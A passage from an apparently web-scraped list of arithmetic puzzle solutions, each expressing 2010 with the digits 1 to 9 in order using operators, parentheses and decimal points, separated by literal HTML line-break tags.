(12+3)*4*5*(6-.7/(8-9))<br/>\n2010 = (1+2+3)*((4/.5)*6*7+8-9)<br/>\n2010 = 12*(3/.4+(5+6+7)*8/.9)<br/>\n2010 = 1+.2+3*(4/.5+.6+.7)*8*9<br/>\n2010 = 12*3*(4+(5*6+7)/.8)/.9<br/>\n2010 = (12/.3+.4*.5)*(67-8-9)<br/>\n2010 = 1+(2/.3)*(4+(5*6+7)*8)+9<br/>\n2010 = ((1.2/.3)*456-7-8)/.9<br/>\n2010 = (1+(234-5.6/.7)*8)/.9<br/>\n2010 = 1+((2+3)*4/.5)*(6*7+8)+9<br/>\n2010 = (1.2/.3)*(4+.5-6+7*8*9)<br/>\n2010 = (1*2*3/.4)*(5-6+(7+8)*9)<br/>\n2010 = (1/.2)*((3-4*5)*6+7*8*9)<br/>\n2010 = 12*(34*5-6/(.7+.8+.9))<br/>\n2010 = (1/.2)*(3+4+5+6*(7*8+9))<br/>\n2010 = (1+(.2+3)*45)*(6+7+.8)+9<br/>\n2010 = 1+(2/.3)*(4*(5+6)*7-8)+9<br/>\n2010 = 12*3*(4-(5-6*7)/.8)/.9<br/>\n2010 = 1+(2/.3)*(4-(5-6*7)*8)+9<br/>\n2010 = (1/.2)*(3+(4+5+6*7)*8-9)<br/>\n2010 = 1+((2+3)*4*56/.7)/.8+9<br/>\n2010 = (1+(23*4/.5+6*7)*8)/.9<br/>\n2010 = ((1+2-.3)/.4)*5*67*8/9<br/>\n2010 = ((1+2-.3)/4)*5*67*8/.9<br/>\n2010 = 1+((2*3/.4)/.5)*67+8-9<br/>\n2010 = ((1+2)*3+4*5*6*(7+8))/.9<br/>\n2010 = 12-3*(.4-(5+.6)*7*(8+9))<br/>\n2010 = (1-2)*(3+4*(.5/6-7*8)*9)<br/>\n2010 = (1+23/4)*5*(6+.7)*8/.9<br/>\n2010 = (1+(2+.3)/.4)*5*67*8/9<br/>\n2010 = (1+2.3/.4)*.5*67*8/.9<br/>\n2010 = (1+2.3/.4)*5*67*.8/.9<br/>\n2010 = 12*(3+.4+(5+6)*(7+8)-.9)<br/>\n2010 = (1+2+(.3/4)*5)*67*8/.9<br/>\n2010 = (1+2+(3/4)*.5)*67*8/.9<br/>\n2010 = (12/.3-4)*(.5/6+7*8)-9<br/>\n2010 = (1*(2-3)+4*(.5/6+7*8))*9<br/>\n2010 = 12+3*(.4/(.5-.6)+78)*9<br/>\n2010 = 1+(23+4*(.5+6)*7)*(.8+9)<br/>\n2010 = .1*(2-34*(.5-67)*8)/.9<br/>\n2010 = ((1+2)*(3+4)-.5/6+7)*8*9<br/>\n2010 = ((.1-.2)/3+.45)*67*8*9<br/>\n2010 = ((1*2/.3)*4*5+6*(7+8))*9<br/>\n2010 = 1*((2/.3)*4*5+6*(7+8))*9<br/>\n2010 = 1-((2+3)*4/.5)*(6-7*8)+9<br/>\n2010 = (1/.2)*3*(4+5+6+7*(8+9))<br/>\n2010 = (1+23*.4)*5*67/(.8+.9)<br/>\n2010 = 1-(2-3*(.4*5+67))*(.8+9)<br/>\n2010 = 1-(2-3*(4*.5+67))*(.8+9)<br/>\n2010 = (1+2)*34*.5*67/(.8+.9)<br/>\n2010 = (12+3)*4*5*(6-7*(.8-.9))<br/>\n2010 = (1/.2)*(3+4+5-6*(7-8*9))<br/>\n2010 = (.1-.2/3-4.5)*(6-7*8)*9<br/>\n2010 = 1+(2+34)*56+.7/(.8-.9)<br/>\n2010 = .1+(234+.5)*6/.7+.8-.9<br/>\n2010 = (.1+(23/.4)*5-.6)*7-8+9<br/>\n2010 = (1+((2+34.5)*6+7)*8)/.9<br/>\n2010 = (1/.2-3-4*(.5/6-7)*8)*9<br/>\n2010 = 12+(3/.4)*(5-.6-.7)*8*9<br/>\n2010 = 12+(3/.4)*(.5*6+.7)*8*9<br/>\n2010 = 12+(3/.4)*(5*.6+.7)*8*9<br/>\n2010 = ((12/.3)*45.6-7-8)/.9<br/>\n2010 = 12*3*(.4*.5/6+(7-.8)*9)<br/>\n2010 = (.1-(2-.3)*4)*5*6*(7-8-9)<br/>\n2010 = (1/.2-3-45*6)*(.7+.8-9)<br/>\n2010 = (.1-2*(3+.4))*5*6*(7-8-9)<br/>\n2010 = (1-2*34)*5*6/(.7-.8-.9)<br/>\n2010 = (1+(2+.3/.45)*678)/.9<br/>\n2010 = (1+2)/.3+4*5*6*(7+8)/.9<br/>\n2010 = (1/(2+.3-.4+.5))*67*8*9<br/>\n2010 = (.1+.23/.4)*5*67*8/.9<br/>\n2010 = ((1*2/.3)/4)*(56+78)*9<br/>\n2010 = 1-(.2-3)*(4-.5+6*7*(8+9))<br/>\n2010 = (1-.2+3*(4+5)*67-.8)/.9<br/>\n2010 = .1+(2/.3)*4.5*67+.8-.9<br/>\n2010 = .1+(2/.3)*45*6.7+.8-.9<br/>\n2010 = (1/.2)*(34-5)*(6+7.8)+9<br/>\n2010 = ((1+23)*(4+5)*67/.8)/9<br/>\n2010 = ((1+23)*(4+5)*67/8)/.9<br/>\n2010 = 1-(2+3)*(4+.5*6)*7*(.8-9)<br/>\n2010 = 1-(2+3)*(4+5*.6)*7*(.8-9)<br/>\n2010 = (12/3.4)*5*(6+.7)*(8+9)<br/>\n2010 = (12/(3+.4))*5*6.7*(8+9)<br/>\n2010 = ((1/.2)*3-45)*67/(8-9)<br/>\n2010 = (1-2.3*(4-56))*(7+8)/.9<br/>\n2010 = (12-3)*4*(56-(.7+.8)/9)<br/>\n2010 = (1/(.2-3)+4*5*6)*(7.8+9)<br/>\n2010 = (1*2+34)*(56-(.7+.8)/9)<br/>\n2010 = 1*(2+34)*(56-(.7+.8)/9)<br/>\n2010 = (1+(2/.3+4*5)*67.8)/.9<br/>\n2010 = (.1/.2)*3*4*(.5+6*7*8)-9<br/>\n2010 = (1/.2)*.3*4*(.5+6*7*8)-9<br/>\n2010 = (1/.2)*3*.4*(.5+6*7*8)-9<br/>\n2010 = (1+(23-.4)*(5+67+8))/.9<br/>\n2010 = (.1-(.2-3-45)*6)*7+.8+.9<br/>\n2010 = (((1-2)/3)/4+.5)*67*8*9<br/>\n2010 = 1*(23*((.4+5)/.6+78)+9)<br/>\n2010 = ((1/.2)/(3+4+5))*67*8*9<br/>\n2010 = (1-23*(4/5-6))*(7+8)/.9<br/>\n2010 = (1-.2/.3+4-5*6*(.7-8))*9<br/>\n2010 = ((1/2-34)/.5)*(6*7-8*9)<br/>\n2010 = ((1+2)*3-4)*(5*(.6+78)+9)<br/>\n2010 = (1-(2-3)*4)*(5*(.6+78)+9)<br/>\n2010 = (1/.2-(3+4)*5)*67/(8-9)<br/>\n2010 = (1/.2)*(3-4-5)*67/(8-9)<br/>\n2010 = (1/.2)*(.34+5)*67/.89<br/>\n2010 = (.1-.2/3-4-.5)*(6-7*8)*9<br/>\n2010 = (1+(2/3)*(4+5*67)*8)/.9<br/>\n2010 = (12/(3+.4))*.5*67*(8+9)<br/>\n2010 = (1.2/.34)*5*67*(.8+.9)<br/>\n2010 = (12/.34)*5*6.7*(.8+.9)<br/>\n2010 = 1-(.2+3.4*(5+67))*(.8-9)<br/>\n2010 = (1/.2)*(34-.5)*(6+7+8-9)<br/>\n2010 = (.1/2-.3+4)*(5+(67-8)*9)<br/>\n2010 = (1+2+.3/.4)*(5+(67-8)*9)<br/>\n2010 = (.1+(2+3)*4)*(5+(6+7)*8-9)<br/>\n2010 = (1/.2)*(34-5)*(6+7+.8)+9<br/>\n2010 = (1+2)*3*4*(56-(.7+.8)/9)<br/>\n2010 = (1+(2/.34)*.5)*(6+7*8*9)<br/>\n2010 = (1*2/.3)*(4+.5*(67-8))*9<br/>\n2010 = (1+((2+34+.5)*6+7)*8)/.9<br/>\n2010 = 1-(((.2-34)*5-6)/.7)*8+9<br/>\n2010 = 1/(.2-.3)-4*((5-67)*8-9)<br/>\n2010 = (.1/.2-34)*(5-67+8)/.9<br/>\n2010 = (1+23-4)*(.5+6*(7+8)/.9)<br/>\n2010 = 12*(3-4*(5-(6-.7/.8)*9))<br/>\n2010 = 1+(2+((3+4)*5-6)*7)*(.8+9)<br/>\n2010 = (1-(2-34*(.5+6)-7)*8)/.9<br/>\n2010 = 1-((2-(3+4)*5)*6-7)*(.8+9)<br/>\n2010 = .1+2+(.3-4*(.5*.6-7*8))*9<br/>\n2010 = 1-(2+3*(4+(5+6)*7))*(.8-9)<br/>\n2010 = (1/(2-3)+4*(.5/6+7*8))*9<br/>\n2010 = ((1+2*34*5-6)/(.7+.8))*9<br/>\n2010 = (.1*2-3.4*(.5-67)*8)/.9<br/>\n2010 = (1*.2-3.4*(.5-67)*8)/.9<br/>\n2010 = 1*(.2-3.4*(.5-67)*8)/.9<br/>\n2010 = ((12+3*4)*5+.6)*(7+8)/.9<br/>\n2010 = (1+(2*3+4)*5)*67/(.8+.9)<br/>\n2010 = 1-(2+(.3/.4)*5*6)*(7-89)<br/>\n2010 = 1-(2+(3/.4)*.5*6)*(7-89)<br/>\n2010 = 1-(2+(3/.4)*5*.6)*(7-89)<br/>\n2010 = (1+2+(.3+4)*5*(6+78))/.9<br/>\n2010 = (1+(.2-3)/.4)*5*67*(8-9)<br/>\n2010 = (1+2)*(3*4+5)*67/(.8+.9)<br/>\n2010 = (.1-.2/.3+4*56+.7-.8)*9<br/>\n2010 = (1-(2-3*4)*5)*67/(.8+.9)<br/>\n2010 = 1-(2+3*(4+.5)/.6)*(7-89)<br/>\n2010 = (12/.34)*.5*67*(.8+.9)<br/>\n2010 = (1/(.2-.3)-4*5)*67*(8-9)<br/>\n2010 = (1*2/.3)*45*(6-.7*(8-9))<br/>\n2010 = 1-(2-3*(4+5*(6+7)))*(.8+9)<br/>\n2010 = (1+23)*(.4+.5+67/.8-.9)<br/>\n2010 = 1.2+(3*4/.5)*(.6+.7+8)*9<br/>\n2010 = 12*((.3-.4+5)*(6*7-8)+.9)<br/>\n2010 = 1+((.2+3)/.4)*5*(6*7+8)+9<br/>\n2010 = 12*(34-.5)*(6-.7-.8)/.9<br/>\n2010 = ((1-2)/.3)*(4/5-67.8)*9<br/>\n2010 = (1/(.2-3)+4*5*6)*(7+.8+9)<br/>\n2010 = (1*2+(3-4*(.5/.6-7))*8)*9<br/>\n2010 = 1*(2+(3-4*(.5/.6-7))*8)*9<br/>\n2010 = ((1+2)/.3-4)*(.5+6*7*8)-9<br/>\n2010 = (1/(.2/3-.4))*(5-678)-9<br/>\n2010 = (1+(2+3/(4+.5))*678)/.9<br/>\n2010 = (1-.2/(3-.4)+5*6)*(7*8+9)<br/>\n2010 = 12*(.3-4*(5-6*(.7+8-.9)))<br/>\n2010 = 1-(2+(3/(.4-.5)-6)*7)*8+9<br/>\n2010 = 12*(.3-4*(5*(.6-7)-.8-9))<br/>\n2010 = 1*((2/.3)*(4+5*6+.7)-8)*9<br/>\n2010 = ((1*2/.3)*(4+5*6+.7)-8)*9<br/>\n2010 = ((1-2)/.3)*(45+(6-78)*9)<br/>\n2010 = (1*2+3)*4*(.5+6*(7+8)/.9)<br/>\n2010 = 1-(2/.3)*(4-5*(.6+7)*8)+9<br/>\n2010 = 1*(2+3)*4*(.5+6*(7+8)/.9)<br/>\n2010 = 1+2+((3/.4)*(5-.6)*7-8)*9<br/>\n2010 = ((1+2+3)*4*5+.6)*(7+8)/.9<br/>\n2010 = (1/.2)*3*4*((.5-6)*7+8*9)<br/>\n2010 = (.1+(2+.3)/4)*5*67*8/.9<br/>\n2010 = (1-(.2/3)/.4)*.5*67*8*9<br/>\n2010 = (1-(.2/3)/.4)*5*67*.8*9<br/>\n2010 = 12*(.3+4*(5*(6+.7*.8)+9))<br/>\n2010 = (.1*2-34*(.5-67)*.8)/.9<br/>\n2010 = (1*.2-34*(.5-67)*.8)/.9<br/>\n2010 = 1*(.2-34*(.5-67)*.8)/.9<br/>\n2010 = 1+((2-3-4*5)/.6)*7*(.8-9)<br/>\n2010 = 1-((.2+.3+4)*56-7)*(.8-9)<br/>\n2010 = 1-((.2+3)/.4)*5*(6-7*8)+9<br/>\n2010 = (1/(.2+3-.4/.5))*67*8*9<br/>\n2010 = ((1+.2/3+4)*(.5+6*7)+8)*9<br/>\n2010 = 1+(2/.3)*(4+5*(6+.7))*8+9<br/>\n2010 = (1/.2)*3*4*5*(6-.7*(8-9))<br/>\n2010 = 1+(2-3*(4+5/.6))*7*(.8-9)<br/>\n2010 = 1*((23/.4)*5-.6)*7+.8+.9<br/>\n2010 = (.1-2)/.3+4*(.5/6+7*8*9)<br/>\n2010 = ((.1+.2)/.3-4)*(5-678)-9<br/>\n2010 = (1-.2/.3-45)*6*(.7+.8-9)<br/>\n2010 = ((1*23/.4)*5-.6)*7+.8+.9<br/>\n2010 = .1/.2-((3-45)*6+.7)*8-.9<br/>\n2010 = (1+2+3)*(.4*.5+6*(7-.8)*9)<br/>\n2010 = .1+.2+(.3+4*5)*(6*(7+8)+9)<br/>\n2010 = ((1-2*34)/.5)*(6*(7-8)-9)<br/>\n2010 = ((.1/2+3*4+.5)/.6+7)*8*9<br/>\n2010 = ((1+2)/.3)*((45-6)*7-8*9)<br/>\n2010 = ((1-(23+4)*5)/.6)*(7-8)*9<br/>\n2010 = ((1+(23/.4)*5)*6+78)/.9<br/>\n2010 = (1.2/.3)*((4-5)/6+7*8)*9<br/>\n2010 = 1/.2+(.3+4*5*6)*(7+8)/.9<br/>\n2010 = (1*(.2/.3+4)-.5)*67*.8*9<br/>\n2010 = (1+(.2/.3)*4+.5)*67*.8*9<br/>\n2010 = (1+(2+3)/.4)*(56+78)/.9<br/>\n2010 = 1+2*(.3-4*(5*6+.7))*(.8-9)<br/>\n2010 = ((1+2)/3+4)*(5*(.6+78)+9)<br/>\n2010 = ((.1-2+3*45)/.6+.7+.8)*9<br/>\n2010 = (12+3)*((4+5)/.6+7*(8+9))<br/>\n2010 = (1.2/.34)*5*(6+.7)*(8+9)<br/>\n2010 = ((1+.2)/.34)*5*6.7*(8+9)<br/>\n2010 = ((1-2)/.3)*(4+5)*67*(8-9)<br/>\n2010 = (1-23*(.4-5.6))*(7+8)/.9<br/>\n2010 = (1/.2)*((34/.5)*6-7-8+9)<br/>\n2010 = (12/.3)*((4*5+6+7)/.8+9)<br/>\n2010 = ((1-2)/.3)*(4-(5+6)*7*8+9)<br/>\n2010 = ((1+2)/.3)*(4*(5-6+7)*8+9)<br/>\n2010 = 1+.2+(3*4/.5)*(.6+.7+8)*9<br/>\n2010 = (12/.3)*(.45-6+(7-.8)*9)<br/>\n2010 = ((1+.2)/.3)*(4.5-6+7*8*9)<br/>\n2010 = (1*2/.3)*(.4-.5+6*.7*8)*9<br/>\n2010 = (.1+.2-3)*(4/.5-678)/.9<br/>\n2010 = ((1+2+3)/.4)*(5-6+(7+8)*9)<br/>\n2010 = ((.1-.2)/3+4.5)*(6*7+8)*9<br/>\n2010 = (1-(2+3*(4-56/.7))*8)/.9<br/>\n2010 = (1+(2/(3+.4))*5)*(6+7*8*9)<br/>\n2010 = (1*2/.3)*(4+5*(6.7-.8))*9<br/>\n2010 = (1/.2)*(3+(4*(5+6)+7)*8-9)<br/>\n2010 = (1/.2)*3*((4+5)*(6+7)+8+9)<br/>\n2010 = ((1-2)/.3)*(4/.5-67-8)*9<br/>\n2010 = ((1-2)/.3)*(4/5-67-.8)*9<br/>\n2010 = (1+2)*(3+(4/.5+67)*8)/.9<br/>\n2010 = (1+2)*(3+(4/.5)*67/.8)-9<br/>\n2010 = (1+2+3*4)*((5/.6)*(7+8)+9)<br/>\n2010 = (((1-2)/.3)/4+5)*67*.8*9<br/>\n2010 = (((1-2)/3)/.4+5)*67*.8*9<br/>\n2010 = (1/.2)*(3+(4*5+6)*(7+8)+9)<br/>\n2010 = (1/.2)*(3*(45/.6+7*8)+9)<br/>\n2010 = (.1+.2+.3+4*5*6)*(7+8)/.9<br/>\n2010 = (1/.2)*(3-(4-5*6)*(7+8)+9)<br/>\n2010 = (1+(.2-3)/.4)*5*67/(8-9)<br/>\n2010 = 1-(23+(.4+.5)/.6)*(7-89)<br/>\n2010 = 1-((2+34)*(.5-6)-7)*(.8+9)<br/>\n2010 = (12/.34)*.5*(6+.7)*(8+9)<br/>\n2010 = (12/(3+.4))*5*67*(.8+.9)<br/>\n2010 = ((.1*2/.3-4*56)/(7-8))*9<br/>\n2010 = ((1*.2/.3-4*56)/(7-8))*9<br/>\n2010 = (1*(.2/.3-4*56)/(7-8))*9<br/>\n2010 = (1/(.2-.3)-4*5)*67/(8-9)<br/>\n2010 = (1*2/.3)*45*(6-.7/(8-9))<br/>\n2010 = (1+(23-.4)*(.5*6+7)*8)/.9<br/>\n2010 = (1+(23-.4)*(5*.6+7)*8)/.9<br/>\n2010 = ((.1-2/.3)*4-5)*(6/7-8)*9<br/>\n2010 = (1+(2/(.3+.45))*678)/.9<br/>\n2010 = ((1+2-.3)/.4)*5*6.7*8/.9<br/>\n2010 = (1+2.3/.4)*5*(6+.7)*8/.9<br/>\n2010 = (1+(2+.3)/.4)*5*6.7*8/.9<br/>\n2010 = (1-23*(.4-5-.6))*(7+8)/.9<br/>\n2010 = 1-((23-.4*5)/.6)*7*(.8-9)<br/>\n2010 = 1-((23-4*.5)/.6)*7*(.8-9)<br/>\n2010 = .1*.2-(.3+.4-5*6)*7*(.8+9)<br/>\n2010 = ((1-2)/.3+45)*(6+.7)*.8*9<br/>\n2010 = ((.1-.2)/.3+4.5)*67*.8*9<br/>\n2010 = (1+(2+.3)*4)*5*67/(.8+.9)<br/>\n2010 = 1+(2+(3+4*(.5+6))*7)*(.8+9)<br/>\n2010 = (1+2)*34*5*(6+.7)/(.8+.9)<br/>\n2010 = (1/.2)*3*4*5*(6-.7/(8-9))<br/>\n2010 = (1*2/.3)*45*(6-7*(.8-.9))<br/>\n2010 = (1*2/.3)*((4+5)*.6*7*8-.9)<br/>\n2010 = (1*2/.3)*((4+5)*6*.7*8-.9)<br/>\n2010 = (1*2/.3)*((4+5)*6*7*.8-.9)<br/>\n2010 = ((1/.2)*3/4)*(5+(67-8)*9)<br/>\n2010 = ((1/2)*3/.4)*(5+(67-8)*9)<br/>\n2010 = (((1+.2)/.3)*456-7-8)/.9<br/>\n2010 = (1+(234-(5+.6)/.7)*8)/.9<br/>\n2010 = ((.1-.2)/3+4+.5)*(6*7+8)*9<br/>\n2010 = ((1+.2)/.3)*(4+.5-6+7*8*9)<br/>\n2010 = (1-2-3)*((.4+.5)/.6-7*8*9)<br/>\n2010 = (.1*2+(.3-45)*6)*(.7+.8-9)<br/>\n2010 = (1*.2+(.3-45)*6)*(.7+.8-9)<br/>\n2010 = 1*(.2+(.3-45)*6)*(.7+.8-9)<br/>\n2010 = ((1-.2)*3/.4)*(.5+6*7*8)-9<br/>\n2010 = (1/(.2+.3)+4)*(.5+6*7*8)-9<br/>\n2010 = (1*2/.3)*(4+5*(6+.7-.8))*9<br/>\n2010 = ((1-2*34)/.5)*(6/(7-8)-9)<br/>\n2010 = ((.1/2+3/.4+5)/.6+7)*8*9<br/>\n2010 = ((1+2-.3)/.4)*.5*67*8/.9<br/>\n2010 = ((1+2-.3)/.4)*5*67*.8/.9<br/>\n2010 = 1+((2/.3+.4)*5*6-7)*(.8+9)<br/>\n2010 = (1/.2)*((34/.5)*6-7.8)+9<br/>\n2010 = (1+(2+.3)/.4)*.5*67*8/.9<br/>\n2010 = (1+(2+.3)/.4)*5*67*.8/.9<br/>\n2010 = (1+2+(.3/.4)*.5)*67*8/.9<br/>\n2010 = (1/(.2-.3+.4))*(5+6+7*8)*9<br/>\n2010 = ((1+.2/.3+4)*5*(.6+7)+8)*9<br/>\n2010 = 1-(2*3*(4-.5)/.6)*7*(.8-9)<br/>\n2010 = ((1-2)/.3)*(4+5)*67/(8-9)<br/>\n2010 = (1/.2)*3*4*5*(6-7*(.8-.9))<br/>\n2010 = ((.1+(2+3)*4)/.5)*(67-8-9)<br/>\n2010 = ((12/.3)*(45+.6)-7-8)/.9<br/>\n2010 = (12/.3-4)*(56-(.7+.8)/9)<br/>\n2010 = ((1-2*34)/(.5+(6-7)*.8))*9<br/>\n2010 = ((1+23)/.4)*((.5-6)*7+8*9)<br/>\n2010 = .1*.2+(3+4)*(5*6-.7)*(.8+9)<br/>\n2010 = ((1-2+3)/.4)*(5*(.6+78)+9)<br/>\n2010 = (1+(23/(.4+5))*6*(.7+8))*9<br/>\n2010 = .1+(2/.3)*45*(6+.7)+.8-.9<br/>\n2010 = .1+(2/.3)*(4+.5)*67+.8-.9<br/>\n2010 = ((1+2)/(.3*4+.5))*67*(8+9)<br/>\n2010 = ((1+2)/(3*.4+.5))*67*(8+9)<br/>\n2010 = (12/(3+.4))*5*(6+.7)*(8+9)<br/>\n2010 = ((12/.3)*45+.6*(7+8))/.9<br/>\n2010 = (1-(2+.3)*(4-56))*(7+8)/.9<br/>\n2010 = ((1+23)/.4)*5*(6-.7*(8-9))<br/>\n2010 = (1/.2)*((34/.5)*6-7-.8)+9<br/>\n2010 = ((12+3)/.4)*(56-.7-.8-.9)<br/>\n2010 = 1-((.2-3)/.4)*((5*6+7)*8-9)<br/>\n2010 = (12*3/.4)*(5+(.6+7+8)/.9)<br/>\n2010 = ((1+2)/.3)*(4+5*(6*7-.8)-9)<br/>\n2010 = (1+(2/.3+4*5)*(67+.8))/.9<br/>\n2010 = 1-((.2-3)/.4)*(5+6*(7*8-9))<br/>\n2010 = (1*2/.3)*4*((.5+67)/.8-9)<br/>\n2010 = 1+((.2-3)/.4)*((5-6*7)*8+9)<br/>\n2010 = (12/.3)*((.4+5+6*7)/.8-9)<br/>\n2010 = ((12+3)*4/.5+.6)*(7+8)/.9<br/>\n2010 = (1+(2-(3+4)*5*(.6-7))*8)/.9<br/>\n2010 = 1+(2+3)*((4/.5)*6-7)*(.8+9)<br/>\n2010 = (12/3)*((.4-.5)/.6+7*8)*9<br/>\n2010 = ((1/2)/(.3+.4+.5))*67*8*9<br/>\n2010 = (1-23*(.4/.5-6))*(7+8)/.9<br/>\n2010 = (1/.2)*(3+(4-.5)*(6*7+8*9))<br/>\n2010 = ((.1/.2-34)/.5)*(6*7-8*9)<br/>\n2010 = ((1-2)*3/.4)*(5*(.6-7*8)+9)<br/>\n2010 = (1/.2)*(3+4*(.5+6)*(7+8)+9)<br/>\n2010 = (1+(2/.3)*4*(.5+67)+8)/.9<br/>\n2010 = (.1-2)*(34-.5)*6/(.7-.89)<br/>\n2010 = (1+(2/.3)*(4+5*67)*.8)/.9<br/>\n2010 = (12/.34)*5*(6+.7)*(.8+.9)<br/>\n2010 = ((1+.2)/.34)*5*67*(.8+.9)<br/>\n2010 = (((1+2)/3.4)/.5)*67*(8+9)<br/>\n2010 = 1-(.2+(3+.4)*(5+67))*(.8-9)<br/>\n2010 = 1*(((23/.4)*5-.6)*7+.8+.9)<br/>\n2010 = 1*(((23/.4)*5-.6)*7+.8)+.9<br/>\n2010 = ((1/.2+3)/.4)*5*(6+7+8-.9)<br/>\n2010 = ((1.2+.3)/.4)*(5+(67-8)*9)<br/>\n2010 = (1/(.2+.3)-4*(.5/6-7)*8)*9<br/>\n2010 = (1/(.2+.3)-45*6)*(.7+.8-9)<br/>\n2010 = (1*2/.3)*(.4+.5*(67-.8))*9<br/>\n2010 = (1-((.2-3/.4)*5*6-7)*8)/.9<br/>\n2010 = (1-(.2/.3-4)*(.5+67-.8))*9<br/>\n2010 = (1/.2+(3/.4)*5*6)*(.7+8)+9<br/>\n2010 = (.1*2-(3+.4)*(.5-67)*8)/.9<br/>\n2010 = (1*.2-(3+.4)*(.5-67)*8)/.9<br/>\n2010 = 1*(.2-(3+.4)*(.5-67)*8)/.9<br/>\n2010 = 1-((2/.3)*4+5/.6)*7*(.8-9)<br/>\n2010 = 1-(.2-3*(4+5)*(.6+7))*(.8+9)<br/>\n2010 = ((12+3)/.4)*(.5+(67-8)*.9)<br/>\n2010 = (1/(.2/3-.4))*(5-(67+8)*9)<br/>\n2010 = ((1-2)/.3)*(.4/.5-67.8)*9<br/>\n2010 = (1+2)*(3+(4/.5)*(67+8))/.9<br/>\n2010 = ((1-2*34)/(.5+(.6-7)/8))*9<br/>\n2010 = (1+2*(3+4))*((5/.6)*(7+8)+9)<br/>\n2010 = ((1+2)/.3)*((4*5-6)*(7+8)-9)<br/>\n2010 = .1+((2/.3)*4*5+.6)*(7+8)+.9<br/>\n2010 = .1+((2*3/.4)/.5)*67+.8-.9<br/>\n2010 = ((12/.3)*(.4+5)*67/.8)/9<br/>\n2010 = ((12/.3)*(.4+5)*67/8)/.9<br/>\n2010 = (((1-2*34)/.5)/.6)*(7-8)*9<br/>\n2010 = ((1+23)/.4)*5*(6-.7/(8-9))<br/>\n2010 = ((1*2/.3)/.4)*(5.6+7+.8)*9<br/>\n2010 = ((.1+.2)/.3-4)*(5-(67+8)*9)<br/>\n2010 = ((1+.2+.3)/.4)*(5+(67-8)*9)<br/>\n2010 = (1*2*3/.4)*((5/.6)*(7+8)+9)<br/>\n2010 = (((1/.2)/3+4)*5*(.6+7)+8)*9<br/>\n2010 = (((1/2)/.3+4)*5*(.6+7)+8)*9<br/>\n2010 = ((1+.2)/.3)*((4-5)/6+7*8)*9<br/>\n2010 = 1-(((2-.3)/.4)*56+7)*(.8-9)<br/>\n2010 = (1/.2)*3*((4+5)/.6+7*(8+9))<br/>\n2010 = (1/.2)*((3+.4*5)*(.6+78)+9)<br/>\n2010 = (1/.2)*((3+4*.5)*(.6+78)+9)<br/>\n2010 = (1+(2/.3)*(.4+5*6.7)*8)/.9<br/>\n2010 = ((1+.2)/.34)*5*(6+.7)*(8+9)<br/>\n2010 = ((12/.3)*45+6*(.7+.8))/.9<br/>\n2010 = ((1+23)/.4)*5*(6-7*(.8-.9))<br/>\n2010 = ((12/.3)/.4)*(5+6-.7+.8+9)<br/>\n2010 = ((1-2)/.3)*(.4/.5-67-.8)*9<br/>\n2010 = (((.1-.2)/3)/.4+.5)*67*8*9<br/>\n2010 = (((1-(23+4)*5)/.6)/(7-8))*9<br/>\n2010 = 1-(2+(3/.4)*(5-.6))*7*(.8-9)<br/>\n2010 = ((1-.2/3+4/.5)/.6)*(7+8)*9<br/>\n2010 = (1+(2/.3)*(.4+.5*67)*8)/.9<br/>\n2010 = (((1+2)/.34)/.5)*6.7*(8+9)<br/>\n2010 = ((1*2/.3)/.4)*(5+.6+7+.8)*9<br/>\n2010 = ((12+3)/.4)*(.5+(6.7-.8)*9)<br/>\n2010 = ((.1-2/.3)*4-5)*(.6/.7-8)*9<br/>\n2010 = ((1+2-.3)/.4)*5*(6+.7)*8/.9<br/>\n2010 = (1+(2+.3)/.4)*5*(6+.7)*8/.9<br/>\n2010 = (.1/(.2-.3)+4*(.5/6+7*8))*9<br/>\n2010 = ((.1/.2)*3/.4)*(5+(67-8)*9)<br/>\n2010 = ((1/.2)*.3/.4)*(5+(67-8)*9)<br/>\n2010 = (12/.3)*((4*(.5+6)+7)/.8+9)<br/>\n2010 = (1+((2/.3)/.4)*5/6)*(7+8)*9<br/>\n2010 = ((1/.2-3)/.4)*(5*(.6+78)+9)<br/>\n2010 = (((1-2)/.3)*(.4-5*(6+7))+8)*9<br/>\n2010 = ((12+3)/.4)*(.5+(6+.7-.8)*9)<br/>\n2010 = (12/.3)*((.4+56)*.7/.8+.9)<br/>\n2010 = (1.2/.3)*((.4-.5)/.6+7*8)*9<br/>\n2010 = (((.1-2)/.3)*(4/.5-6*7)+8)*9<br/>\n2010 = ((12+3)/.4)*(.5+6*(.7+8)+.9)<br/>\n2010 = ((.1+.2)/.3+4)*(5*(.6+78)+9)<br/>\n2010 = ((1/.2)*3/.4)*(56-.7-.8-.9)<br/>\n2010 = ((1/.2)/.3)*(45+(.6+7.8)*9)<br/>\n2010 = ((12/(.3-.4))/(5/.67-8))*9<br/>\n2010 = ((1/.2)*3*4/.5+.6)*(7+8)/.9<br/>\n2010 = ((.1/.2)/(.3+.4+.5))*67*8*9<br/>\n2010 = ((1/.2)/(.3+.4+.5))*67*.8*9<br/>\n2010 = 1-(2/.3)*(.4-(.5+6*7)*(8-.9))<br/>\n2010 = (((1+2)/(3+.4))/.5)*67*(8+9)<br/>\n2010 = ((1+2+3)/.4)*((5/.6)*(7+8)+9)<br/>\n2010 = ((1+2)/.3)*((4/.5+6)*(7+8)-9)<br/>\n2010 = ((1+((2/.3)/.4)/.56)*7+8)*9<br/>\n2010 = (((1+2)/.34)/.5)*67*(.8+.9)<br/>\n2010 = ((((1+2)/.3)/.4)*5/.6+7+8)*9<br/>\n2010 = ((1/.2)*3/.4)*(.5+(67-8)*.9)<br/>\n2010 = ((1/.2)/(.3-.4))*(5*6-78*.9)<br/>\n2010 = ((.1+2)/.3)*(4-(.5/6)/7)*8*9<br/>\n2010 = (((1/.2)/.3)*4/.5+6*(7+8))*9<br/>\n2010 = (((.1-2)/.3)*(4-5*(.6+7))+8)*9<br/>\n2010 = (((.1/.2)/.3+4)*5*(.6+7)+8)*9<br/>\n2010 = ((((1-2*34)/.5)/.6)/(7-8))*9<br/>\n2010 = (1+(2/.3)*(.4+5*(6+.7))*8)/.9<br/>\n2010 = (((1+2)/.34)/.5)*(6+.7)*(8+9)<br/>\n2010 = ((1/.2)*3/.4)*(.5+(6.7-.8)*9)<br/>\n2010 = (((1+23)/.4)/.5+.6)*(7+8)/.9<br/>\n2010 = ((1/.2+3)/.4)*(.5+6*(7+8)/.9)<br/>\n2010 = ((1/.2)/.3+(4*5/.6)*(7-.8))*9<br/>\n2010 = (((1+2/.3)/.4)/.5)*6*(.7+8)+9<br/>\n2010 = ((1/.2)/.3)*(.4+.5+(6-.7+8)*9)<br/>\n2010 = ((1/.2)*3/.4)*(.5+(6+.7-.8)*9)<br/>\n2010 = ((1+.2)/.3)*((.4-.5)/.6+7*8)*9<br/>\n2010 